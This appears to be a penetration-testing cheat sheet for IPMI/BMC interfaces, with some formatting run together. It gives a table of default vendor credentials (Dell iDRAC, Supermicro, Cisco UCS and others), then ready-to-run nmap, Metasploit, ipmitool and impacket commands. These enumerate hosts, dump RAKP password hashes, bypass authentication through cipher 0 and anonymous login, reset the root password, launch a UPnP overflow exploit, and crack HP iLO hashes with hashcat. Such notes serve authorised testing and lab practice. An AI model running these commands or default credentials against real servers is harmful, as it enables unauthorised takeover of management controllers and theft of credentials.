09UDP
IPMI
| Vendor | Username | Password | Notes |
|---|---|---|---|
| Supermicro | ADMIN | ADMIN | Some newer models use unique passwords. |
| IBM / Lenovo | USERID | PASSW0RD | Common for Flex System x hardware. |
| pfSense Netgate | ADMIN | Varies | Reset using ipmitool. Default ID is 2. |
| Quantum VS4160-HCI | ADMIN | On system label | Change via VS-Settings Menu. |
| Quantum VS1110-A | ADMIN | BMCadmin1 | Change via Advanced Menu. |
| Blackcore | admin | admin123 | For SPR-M, SPR-X, RPL, 3100 series. |
| Nutanix | ADMIN | Node serial number | Use node's serial in caps. |
| Datto | Provided by Datto | First 16 chars of backup-admin | Changes periodically. |
| Dell | root | calvin | Default for iDRAC systems. |
| Cisco | admin | password | Common for UCS servers. |
| HP / HPE | Administrator | Unique on system label | Often randomized for iLO. |
- Enumerations
bash3 lines
## ------------------| Version Detectionsudo nmap -sU --script ipmi-version -p 623 <IP>use auxiliary/scanner/ipmi/ipmi_version- Dumping Hashes
bash9 lines
## ------------------| Using Metasploituse auxiliary/scanner/ipmi/ipmi_dumphashes
## ------------------| Using ipmitoolipmitool -I lanplus -H <IP> -U <USER> -P <PASS> user list 1
## ------------------| Using impacketipmi_hash_dump.py <IP> -u <USER> -p <PASS>rakp.py <IP>- Vulnerabilities
bash21 lines
## ------------------| Change password for root useripmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user set password 2 newpassword
## ------------------| IPMI Authentication Bypass via Cipher 0use auxiliary/scanner/ipmi/ipmi_cipher_zeroipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list #C 0 to dump a list of users.
## ------------------| IPMI 2.0 RAKP Authentication Remote Password Hash Retrievaluse auxiliary/scanner/ipmi/ipmi_dumphashesset OUTPUT_HASHCAT_FILE cat-hashset OUTPUT_JOHN_FILE john-hashipmitool -I lanplus -C 0 -H 10.10.11.124 -U root -P root user list
## ------------------| IPMI Anonymous Authenticationipmitool -I lanplus -H 10.10.11.124 -U '' -P '' user list
## ------------------| Supermicro IPMI UPnPuse exploit/multi/upnp/libupnp_ssdp_overflow
## ------------------| Crack HP iLO default passwordhashcat -m 7300 hases.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u